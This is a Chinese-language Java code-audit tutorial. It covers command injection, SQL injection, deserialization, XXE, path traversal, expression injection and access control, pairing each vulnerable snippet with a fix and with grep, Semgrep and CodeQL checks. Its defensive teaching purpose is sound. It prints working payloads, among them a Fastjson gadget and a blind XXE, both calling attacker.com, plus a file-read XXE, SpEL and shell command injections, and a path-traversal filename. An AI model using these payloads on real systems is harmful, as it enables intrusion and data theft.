跳转至

Java 代码审计入门

代码审计不是"读完全部代码",而是带着假设去找证据:这个参数如果可控,它能不能走到危险函数?本篇用真实代码片段说明每类漏洞"长什么样",以及审计时怎么快速定位。

一、方法:Source → Sink

概念 含义 Java 示例
Source 外部可控输入 request.getParameter、@RequestBody、Header、上传文件、MQ、RPC
Sink 危险操作 Runtime.exec、Statement.execute、readObject、DocumentBuilder.parse、Files.copy
Sanitizer 有效净化 白名单、预编译、编码、路径规范化

审计动作:从 Sink 反查 Source 比"从 Controller 往下追"效率高得多。先 grep 所有危险函数,再判断参数能否被外部控制。

# 第一轮:危险函数清单,先扫出候选点
grep -rn --include=*.java -E "Runtime\.getRuntime\(\)\.exec|new ProcessBuilder|ObjectInputStream|readObject\(|DocumentBuilderFactory|SAXParserFactory|XMLReaderFactory|Class\.forName|ScriptEngine|SpelExpressionParser|Ognl\.getValue" src/
grep -rn --include=*.java "\${" src/ | grep -i "mapper\|sql\|select\|update"
grep -rn --include=*.java -E "Statement|createStatement|prepareCall" src/

二、命令注入

2.1 漏洞代码

@GetMapping("/ping")
public String ping(@RequestParam String host) throws Exception {
    Process p = Runtime.getRuntime().exec("ping -c 1 " + host);
    return new String(p.getInputStream().readAllBytes());
}

host=127.0.0.1;id(Linux)或 127.0.0.1&whoami(Windows)即可执行任意命令。

Runtime.exec(String) 会把整串交给 shell 解析,所以拼接必然危险;exec(String[]) 不经过 shell,但仍有参数注入风险。

2.2 修复

private static final Pattern IPV4 = Pattern.compile(
        "^(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}$");

@GetMapping("/ping")
public String ping(@RequestParam String host) throws Exception {
    if (!IPV4.matcher(host).matches()) {
        throw new IllegalArgumentException("invalid host");
    }
    Process p = new ProcessBuilder("ping", "-c", "1", host)   // 参数分离,不走 shell
            .redirectErrorStream(true)
            .start();
    return new String(p.getInputStream().readAllBytes());
}

审计判断:只要参数参与命令字符串拼接就是高危;ProcessBuilder 分参数传值可缓解,但参数本身仍可能被当作选项(如 -o 开头的参数),白名单仍然必要。

三、SQL 注入

3.1 三种典型写法

// A. JDBC 拼接
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
statement.executeQuery(sql);

// B. MyBatis ${}(直接字符串替换)
@Select("SELECT * FROM users WHERE name = '${name}'")
User findByName(@Param("name") String name);

// C. 排序字段拼接(最常见的"合法"注入)
@Select("SELECT * FROM users ORDER BY ${sort} ${dir}")
List<User> list(@Param("sort") String sort, @Param("dir") String dir);

C 的特殊性:ORDER BY 不能用 #{} 占位(会变成字符串排序),所以很多项目直接用 ${},这是注入重灾区。

3.2 修复

// A/B:占位符
@Select("SELECT * FROM users WHERE name = #{name}")
User findByName(@Param("name") String name);

// C:白名单映射,不做任何拼接
private static final Map<String, String> SORT_COLUMNS = Map.of(
        "createdAt", "created_at",
        "amount", "amount",
        "id", "id");

@Select("<script>SELECT * FROM orders ORDER BY " +
        "${column} ${direction} LIMIT #{limit}</script>")
List<Order> list(@Param("column") String column,
                 @Param("direction") String direction,
                 @Param("limit") int limit);

public List<Order> safeList(String sort, String dir, int limit) {
    String column = SORT_COLUMNS.getOrDefault(sort, "id");
    String direction = "asc".equalsIgnoreCase(dir) ? "ASC" : "DESC";  // 只用两个值
    return mapper.list(column, direction, limit);
}

审计时搜 ${ 比搜 + 更有效,因为 MyBatis 项目里大量注入都藏在这里。

3.3 二次注入

数据先入库(转义后),后续又从库里取出拼接:

// 注册时转义了,入库为 O\'Brien
// 修改昵称时直接拼接
String sql = "UPDATE users SET nick = '" + user.getNick() + "' WHERE id = ?";

审计要关注"从数据库读出的值再次进入 Sink"的路径。

四、反序列化

4.1 危险入口

// 原生
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();

// Fastjson 1.2.x
JSON.parseObject(body);

// Jackson 开启默认类型
mapper.enableDefaultTyping();

// XStream / Hessian / Dubbo

Fastjson 经典 payload(仅限受影响版本,需在授权环境验证):

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}

ysoserial 生成 CommonsCollections 链:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" | base64 -w0

4.2 审计与修复

# 找版本
grep -rn "fastjson" pom.xml */pom.xml
mvn dependency:tree | grep -i fastjson

修复方向:

  • Fastjson 升级到 1.2.83+ 并开启 safeMode;或迁到 fastjson2 并关闭 autoType。
  • Jackson 不使用 enableDefaultTyping();必须用则配置 PolymorphicTypeValidator 白名单。
  • 原生 ObjectInputStream 用 ObjectInputFilter 限制类:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "com.example.dto.*;java.lang.*;!*");
ois.setObjectInputFilter(filter);
  • 业务上尽量用 JSON + 明确 DTO,不反序列化"任意类型"。

五、XXE

5.1 漏洞代码

DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = f.newDocumentBuilder();
Document doc = builder.parse(request.getInputStream());   // 默认允许 DTD

payload:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

盲 XXE(带外):

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>

5.2 修复

DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);

审计时还要看 SAXParserFactory、XMLInputFactory(StAX)、TransformerFactory、SchemaFactory,各自的关闭方式不同:

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

六、路径穿越与文件操作

// 漏洞:直接拼接用户文件名
File dest = new File("/data/upload/" + filename);
Files.copy(file.getInputStream(), dest.toPath());

filename=../../etc/cron.d/evil 即可越界写。

修复:

Path base = Paths.get("/data/upload").toRealPath();
Path target = base.resolve(filename).normalize();
if (!target.startsWith(base)) {
    throw new IllegalArgumentException("path traversal");
}
Files.copy(file.getInputStream(), target, StandardCopyOption.REPLACE_EXISTING);

审计要点:

  • getOriginalFilename() 的返回值是否直接参与路径;
  • 是否只做了 replace("../","")(可用 ....// 绕过);
  • 解压场景(Zip Slip):ZipEntry.getName() 同样要规范化校验。

七、SpEL / OGNL 表达式注入

// 漏洞:表达式来自用户
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
exp.getValue();

payload:T(java.lang.Runtime).getRuntime().exec('id')

修复:不要解析用户输入。确实需要规则表达式时,用 SimpleEvaluationContext 禁用类型引用与方法调用:

Expression exp = parser.parseExpression(userInput);
exp.getValue(SimpleEvaluationContext.forReadOnlyDataBinding().build());

审计时搜 parseExpression、Ognl.getValue、MVEL.eval、ScriptEngine.eval 以及模板引擎(Freemarker/Velocity)中把用户输入当模板渲染的代码。

八、SSRF 与鉴权

SSRF 的代码形态与修复已单独成篇,审计时关注:

grep -rn -E "new URL\(|openConnection\(|RestTemplate|WebClient|HttpClient|OkHttpClient" src/ \
  | grep -v "test"

鉴权审计的关键不是"有没有注解",而是注解覆盖是否完整:

# 列出所有接口方法
grep -rn -E "@(Get|Post|Put|Delete|Patch|Request)Mapping" src/main/java | wc -l
# 列出带权限注解的
grep -rn -E "@PreAuthorize|@Secured|@RolesAllowed" src/main/java | wc -l

两者数量差异大,就存在未覆盖接口。还要检查:

  • 拦截器 excludePathPatterns 是否放行了敏感路径;
  • /internal/**、/actuator/** 是否对外可达;
  • 权限校验是否只在网关做,内部服务裸奔。

九、工具:把重复工作交给机器

9.1 Semgrep 自定义规则

# rules/java-sql-concat.yaml
rules:
  - id: java-sql-string-concat
    languages: [java]
    severity: ERROR
    message: SQL 语句由字符串拼接构造,存在注入风险
    patterns:
      - pattern-either:
          - pattern: $STMT.executeQuery("..." + $X + "...")
          - pattern: $STMT.execute("..." + $X + "...")
          - pattern: $STMT.executeUpdate("..." + $X + "...")

  - id: java-runtime-exec-concat
    languages: [java]
    severity: ERROR
    message: 命令拼接,存在命令注入
    patterns:
      - pattern: Runtime.getRuntime().exec("..." + $X)
semgrep --config rules/java-sql-concat.yaml --severity ERROR src/

9.2 CodeQL

codeql database create db --language=java --command="mvn -q clean package -DskipTests"
codeql database analyze db java-security-extended.qls --format=sarif-latest -o result.sarif

CodeQL 的价值在于跨方法追踪数据流,能发现"Controller 参数 → Service → DAO 拼接"这种人工容易漏的链路。

9.3 依赖漏洞

mvn org.owasp:dependency-check-maven:check \
  -DfailBuildOnCVSS=7 \
  -Dformat=HTML

重点看:fastjson、log4j2、shiro、commons-collections、spring-core、xstream、jackson-databind。

十、验证:从"疑似"到"确认"

  1. 定位入口:找到能触达的 URL 或消息入口。
  2. 构造最小 PoC:能证明影响即可,不做破坏性操作。
  3. 本地/测试环境复现:用 curl 或测试类。
  4. 记录证据:请求、响应、日志、堆栈。
  5. 确认修复:同一 PoC 再打一次,应被拒绝且无副作用。

示例记录:

问题:/api/tools/ping 命令注入
请求:GET /api/tools/ping?host=127.0.0.1%3Bid
响应:uid=0(root) gid=0(root) groups=0(root)
代码:ToolController.java:42 Runtime.exec("ping -c 1 " + host)
修复:白名单 IP + ProcessBuilder 参数分离
复测:host=127.0.0.1;id 返回 400 invalid host

十一、审计清单

  • 所有 exec / ProcessBuilder 的参数是否可控
  • SQL 是否有 ${}、+ 拼接、ORDER BY 注入
  • 反序列化入口与依赖版本
  • 四类 XML 解析器是否禁用 DTD
  • 文件路径、解压是否规范化校验
  • 表达式引擎是否解析用户输入
  • 出站请求是否限制协议与内网
  • 鉴权注解覆盖率、拦截器放行清单
  • 硬编码密钥、日志中的敏感信息
  • 依赖组件的已知 CVE

十二、常见误区

  • 只审 Controller,漏掉 Service、定时任务、MQ 消费者、RPC 提供方。
  • 看到 PreparedStatement 就认为安全,忽略 ORDER BY 仍是拼接。
  • 看到 StringEscapeUtils.escapeSql 就认为安全(该方法已废弃且不可靠)。
  • 把扫描器的 INFO 当误报直接丢弃,漏掉需要人工串联的链路。
  • 只验证"能不能打",不验证"修复后是否真的拦住"。

相关阅读